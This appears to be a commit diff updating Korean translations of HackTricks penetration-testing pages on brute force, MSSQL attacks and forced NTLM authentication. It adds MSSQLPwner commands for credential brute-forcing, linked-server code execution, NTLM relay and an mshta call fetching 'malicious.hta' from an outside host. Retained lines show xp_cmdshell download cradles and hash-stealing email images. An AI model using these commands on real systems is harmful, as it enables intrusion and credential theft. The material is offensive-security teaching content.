Translated ['generic-methodologies-and-resources/brute-force.md', 'netwo

This commit is contained in:
Translator 2024-09-15 15:23:35 +00:00
parent 3895dcbb6e
commit 5c5e5206cc
4 changed files with 171 additions and 30 deletions

View file

@ -25,7 +25,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
## 기본 자격 증명
사용 중인 기술의 기본 자격 증명을 위해 **구글에서 검색**하거나 **다음 링크를 시도**하세요:
사용 중인 기술의 기본 자격 증명을 **구글에서 검색**하거나 **다음 링크를 시도**하세요:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@ -61,13 +61,13 @@ cewl example.com -m 5 -w words.txt
```
### [CUPP](https://github.com/Mebus/cupp)
희생자에 대한 지식(이름, 날짜 등)을 바탕으로 비밀번호를 생성합니다.
피해자에 대한 지식(이름, 날짜 등)을 바탕으로 비밀번호를 생성합니다.
```
python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
단어 목록 생성기 도구로, 단어 집합을 제공할 수 있으며, 주어진 단어에서 여러 변형을 만들 수 있는 가능성을 제공합니다. 특정 대상을 위해 사용할 수 있는 독특하고 이상적인 단어 목록을 생성합니다.
단어 목록 생성기 도구로, 단어 집합을 제공할 수 있으며, 주어진 단어로부터 여러 변형을 만들 수 있는 가능성을 제공합니다. 특정 대상을 위해 사용할 수 있는 독특하고 이상적인 단어 목록을 생성합니다.
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -111,7 +111,7 @@ Finished in 0.920s.
## Services
서비스 이름순으로 정렬되었습니다.
서비스 이름순으로 알파벳 정렬됨.
### AFP
```bash
@ -240,6 +240,25 @@ use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
```
### MSSQL
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
```
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```
@ -323,7 +342,7 @@ ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```
### Redis
### 레디스
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
@ -409,7 +428,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
### STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ)
STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와 원활한 통신 및 상호 작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다.
STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와 원활한 통신 및 상호작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
@ -491,7 +510,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
```
#### Known plaintext zip attack
암호화된 zip 안에 포함된 **파일의 **평문** (또는 평문의 일부)**을 알아야 합니다. 암호화된 zip 안에 포함된 **파일의 이름과 크기**를 확인하려면 다음을 실행하세요: **`7z l encrypted.zip`**\
암호화된 zip 파일 안에 포함된 **파일의 **평문** (또는 평문의 일부)**을 알아야 합니다. 암호화된 zip 안에 포함된 **파일의 이름과 크기**를 확인하려면 다음을 실행하세요: **`7z l encrypted.zip`**\
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)를 릴리스 페이지에서 다운로드하세요.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
@ -599,7 +618,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
### DPAPI 마스터 키
[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)를 사용한 다음 john을 실행합니다.
[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)를 사용한 다음 john을 실행하세요.
### Open Office 비밀번호 보호 열

View file

@ -83,6 +83,26 @@ msf> use windows/manage/mssql_local_auth_bypass
### 수동 열거
#### 로그인
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
```
```bash
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
@ -152,12 +172,12 @@ SELECT * FROM sysusers
1. **Securable:** SQL Server가 접근 제어를 위해 관리하는 리소스로 정의됩니다. 이는 다음과 같이 분류됩니다:
* **서버** 데이터베이스, 로그인, 엔드포인트, 가용성 그룹 및 서버 역할의 예가 포함됩니다.
* **데이터베이스** 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그 및 사용자 예가 포함됩니다.
* **데이터베이스** 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그 및 사용자와 같은 예가 포함됩니다.
* **스키마** 테이블, 뷰, 프로시저, 함수, 동의어 등을 포함합니다.
2. **Permission:** SQL Server securables와 관련된 권한으로, ALTER, CONTROL 및 CREATE와 같은 권한이 주체에게 부여될 수 있습니다. 권한 관리는 두 가지 수준에서 이루어집니다:
* **서버 수준** 로그인을 사용하여
* **데이터베이스 수준** 사용자를 사용하여
3. **Principal:** 이 용어는 securable에 대한 권한이 부여된 엔티티를 나타냅니다. 주체는 주로 로그인과 데이터베이스 사용자로 구성됩니다. Securables에 대한 접근 제어는 권한을 부여하거나 거부하거나, 접근 권한이 있는 역할에 로그인과 사용자를 포함시킴으로써 행사됩니다.
3. **Principal:** 이 용어는 securable에 대한 권한이 부여된 엔티티를 나타냅니다. 주체는 주로 로그인과 데이터베이스 사용자로 구성됩니다. Securables에 대한 접근 제어는 권한을 부여하거나 거부하거나 접근 권한이 있는 역할에 로그인 및 사용자를 포함시킴으로써 행사됩니다.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -215,6 +235,20 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### NetNTLM 해시 훔치기 / 릴레이 공격
인증에 사용되는 해시를 캡처하기 위해 **SMB 서버**를 시작해야 합니다 (`impacket-smbserver` 또는 `responder` 예시).
@ -229,8 +263,19 @@ sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
{% hint style="warning" %}
sysadmins가 아닌 누가 이러한 MSSQL 함수를 실행할 수 있는 권한이 있는지 확인할 수 있습니다:
누가 (sysadmins 제외) 이러한 MSSQL 함수를 실행할 권한이 있는지 확인하려면 다음을 사용하세요:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
@ -240,7 +285,7 @@ EXEC sp_helprotect 'xp_fileexist';
{% endhint %}
**responder** 또는 **Inveigh**와 같은 도구를 사용하여 **NetNTLM 해시를 훔치는** 것이 가능합니다.\
이 도구들을 사용하는 방법은 다음에서 확인할 수 있습니다:
이 도구 사용하는 방법은 다음에서 확인할 수 있습니다:
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
@ -256,7 +301,7 @@ EXEC sp_helprotect 'xp_fileexist';
### **파일 쓰기**
`MSSQL`을 사용하여 파일을 쓰려면, **[Ole Automation Procedures](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)****활성화해야** 하며, 이는 관리자 권한이 필요하고, 그런 다음 파일을 생성하기 위해 몇 가지 저장 프로시저를 실행해야 합니다:
`MSSQL`을 사용하여 파일을 쓰려면 [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)를 **활성화해야** 하며, 이는 관리자 권한이 필요하고, 그런 다음 파일을 생성하기 위해 몇 가지 저장 프로시저를 실행해야 합니다:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -289,9 +334,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Read files executing scripts (Python and R)**
### **RCE/파일 읽기 스크립트 실행 (Python 및 R)**
MSSQL은 **Python 및/또는 R**에서 **스크립트**를 실행할 수 있습니다. 이 코드는 **xp\_cmdshell**을 사용하여 명령을 실행하는 사용자와 **다른 사용자**에 의해 실행됩니다.
MSSQL은 **Python 및/또는 R**에서 **스크립트 실행**을 허용할 수 있습니다. 이 코드는 **xp\_cmdshell**을 사용하여 명령을 실행하는 **다른 사용자**에 의해 실행됩니다.
Example trying to execute a **'R'** _"Hellow World!"_ **not working**:
@ -352,7 +397,7 @@ MSSQL에서 **사용자 정의 함수로 .NET dll을 로드하는 것이 가능
### From db\_owner to sysadmin
**일반 사용자**가 **관리자** 사용자(예: **`sa`**)가 소유한 **데이터베이스**에 대해 **`db_owner`** 역할을 부여받고 해당 데이터베이스가 **`trustworthy`**로 설정된 경우, 해당 사용자는 **프리벡스**를 위해 이러한 권한을 남용할 수 있습니다. 왜냐하면 그곳에 생성된 **저장 프로시저**가 **소유자**(**관리자**)로서 **실행**될 수 있기 때문입니다.
**일반 사용자**가 **관리자** 사용자(예: **`sa`**)가 소유한 **데이터베이스**에 대해 **`db_owner`** 역할을 부여받고 해당 데이터베이스가 **`trustworthy`**로 설정된 경우, 해당 사용자는 **저장 프로시저**가 소유자(**관리자**)로 실행될 수 있기 때문에 이러한 권한을 남용하여 **privesc**를 할 수 있습니다.
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -454,9 +499,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
권한을 확인한 후, 다음 세 가지를 구성해야 합니다:
1. SQL Server 인스턴스에서 TCP/IP 활성화합니다;
2. 시작 매개변수를 추가합니다. 이 경우, -T7806이라는 추적 플래그가 추가됩니다.
3. 원격 관리자 연결 활성화합니다.
1. SQL Server 인스턴스에서 TCP/IP 활성화;
2. 시작 매개변수 추가, 이 경우 -T7806이라는 추적 플래그가 추가됩니다.
3. 원격 관리자 연결 활성화.
이 구성을 자동화하기 위해 [이 저장소](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)에는 필요한 스크립트가 있습니다. 각 구성 단계에 대한 PowerShell 스크립트 외에도, 이 저장소에는 구성 스크립트와 비밀번호 추출 및 복호화를 결합한 전체 스크립트도 포함되어 있습니다.
@ -467,7 +512,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
## 로컬 권한 상승
MSSQL 서버를 실행하는 사용자는 **SeImpersonatePrivilege** 권한 토큰이 활성화되어 있습니다.\
다음 두 페이지 중 하나를 따라 **관리자로 권한 상승**할 수 있을 것입니다:
다음 두 페이지 중 하나를 따라 **관리자로 상승**할 수 있을 것입니다:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)

View file

@ -21,7 +21,73 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## **MSSQL Enumeration / Discovery**
PowerShell 모듈 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)는 이 경우에 매우 유용합니다.
### Python
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) 도구는 impacket을 기반으로 하며, kerberos 티켓을 사용하여 인증하고 링크 체인을 통해 공격할 수 있습니다.
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
```shell
# Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
# Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
# Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
# Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
# Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
```
### 도메인 세션 없이 네트워크에서 열거하기
```
# Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
```
---
### Powershell
이 경우에 powershell 모듈 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)이 매우 유용합니다.
```powershell
Import-Module .\PowerupSQL.psd1
```
@ -164,7 +230,7 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
![](<../../.gitbook/assets/image (643).png>)
신뢰할 수 있는 링크 체인을 수동으로 무한히 계속할 수 있습니다.
신뢰할 수 있는 링크 체인을 수동으로 무한히 계속할 수 있습니다.
```sql
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

View file

@ -21,12 +21,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Spooler Service Abuse
_**Print Spooler**_ 서비스가 **활성화되어** 있으면, 이미 알려진 AD 자격 증명을 사용하여 도메인 컨트롤러의 프린트 서버에 새로운 인쇄 작업에 대한 **업데이트**를 **요청**하고 **어떤 시스템으로 알림을 보내도록** 지시할 수 있습니다.\
_**Print Spooler**_ 서비스가 **활성화**되어 있으면, 이미 알려진 AD 자격 증명을 사용하여 도메인 컨트롤러의 프린트 서버에 새로운 인쇄 작업에 대한 **업데이트**를 **요청**하고, 이를 **어떤 시스템으로 알리도록** 지시할 수 있습니다.\
프린터가 임의의 시스템으로 알림을 보낼 때, 해당 **시스템**에 대해 **인증**해야 합니다. 따라서 공격자는 _**Print Spooler**_ 서비스가 임의의 시스템에 대해 인증하도록 만들 수 있으며, 이 인증에서 서비스는 **컴퓨터 계정**을 **사용**합니다.
### Finding Windows Servers on the domain
PowerShell을 사용하여 Windows 박스 목록을 가져옵니다. 서버는 일반적으로 우선 순위가 높으므로, 기에 집중합시다:
PowerShell을 사용하여 Windows 박스 목록을 가져옵니다. 서버는 일반적으로 우선 순위가 높으므로, 기에 집중합시다:
```bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
```
@ -54,7 +54,7 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### Unconstrained Delegation과 결합하기
공격자가 이미 [Unconstrained Delegation](unconstrained-delegation.md)으로 컴퓨터를 손상시킨 경우, 공격자는 **프린터가 이 컴퓨터에 대해 인증하도록 만들 수 있습니다**. 비제한 위임 덕분에 **프린터의 컴퓨터 계정의 TGT**는 비제한 위임이 있는 컴퓨터의 **메모리에 저장됩니다**. 공격자가 이미 이 호스트를 손상시켰기 때문에, 그는 **이 티켓을 검색하고 악용할 수 있습니다** ([Pass the Ticket](pass-the-ticket.md)).
공격자가 이미 [Unconstrained Delegation](unconstrained-delegation.md)으로 컴퓨터를 손상시킨 경우, 공격자는 **프린터가 이 컴퓨터에 대해 인증하도록 만들 수 있습니다**. 비제한 위임으로 인해 **프린터의 컴퓨터 계정의 TGT**가 비제한 위임이 있는 컴퓨터의 **메모리에 저장됩니다**. 공격자가 이미 이 호스트를 손상시켰기 때문에, 그는 **이 티켓을 검색하고 악용할 수 있습니다** ([Pass the Ticket](pass-the-ticket.md)).
## RCP 강제 인증
@ -64,7 +64,7 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
`PrivExchange` 공격은 **Exchange Server `PushSubscription` 기능**에서 발견된 결함의 결과입니다. 이 기능은 Exchange 서버가 메일박스가 있는 모든 도메인 사용자에 의해 HTTP를 통해 제공된 클라이언트 호스트에 인증되도록 강제할 수 있게 합니다.
기본적으로 **Exchange 서비스는 SYSTEM으로 실행되며** 과도한 권한이 부여됩니다 (특히, **2019년 이전 누적 업데이트의 도메인에 대한 WriteDacl 권한**을 가집니다). 이 결함은 **LDAP에 정보를 중계하고 이후 도메인 NTDS 데이터베이스를 추출**할 수 있도록 악용될 수 있습니다. LDAP로의 중계가 불가능한 경우에도 이 결함은 여전히 도메인 내의 다른 호스트에 중계하고 인증하는 데 사용될 수 있습니다. 이 공격의 성공적인 악용은 인증된 도메인 사용자 계정으로 도메인 관리자의 즉각적인 접근을 허용합니다.
기본적으로 **Exchange 서비스는 SYSTEM으로 실행되며** 과도한 권한이 부여됩니다 (특히, **2019년 누적 업데이트 이전 도메인에 대한 WriteDacl 권한**을 가집니다). 이 결함은 **LDAP에 정보를 중계하고 이후 도메인 NTDS 데이터베이스를 추출**할 수 있도록 악용될 수 있습니다. LDAP로의 중계가 불가능한 경우에도 이 결함은 도메인 내의 다른 호스트에 중계하고 인증하는 데 여전히 사용될 수 있습니다. 이 공격의 성공적인 악용은 인증된 도메인 사용자 계정으로 도메인 관리자의 즉각적인 접근을 허용합니다.
## Windows 내부
@ -78,7 +78,18 @@ C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -S
```sql
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
```
또는 이 다른 기술을 사용하세요: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
또는 이 다른 기술을 사용할 수 있습니다: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
### Certutil
@ -90,7 +101,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
### 이메일을 통한
당신이 손상시키고자 하는 머신에 로그인하는 사용자의 **이메일 주소**를 알고 있다면, 그에게 **1x1 이미지**가 포함된 **이메일**을 보낼 수 있습니다.
당신이 침투하고자 하는 머신에 로그인하는 사용자의 **이메일 주소**를 알고 있다면, 그에게 **1x1 이미지**가 포함된 **이메일**을 보낼 수 있습니다.
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
@ -104,7 +115,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
```
## NTLMv1 크래킹
[NTLMv1 챌린지를 캡처할 수 있다면 여기를 읽고 크래킹하는 방법을 확인하세요](../ntlm/#ntlmv1-attack).\
[NTLMv1 챌린지를 캡처할 수 있다면 여기를 읽고 크래킹하는 방법을 알아보세요](../ntlm/#ntlmv1-attack).\
_NTLMv1을 크래킹하려면 Responder 챌린지를 "1122334455667788"로 설정해야 합니다._
{% hint style="success" %}
@ -117,7 +128,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}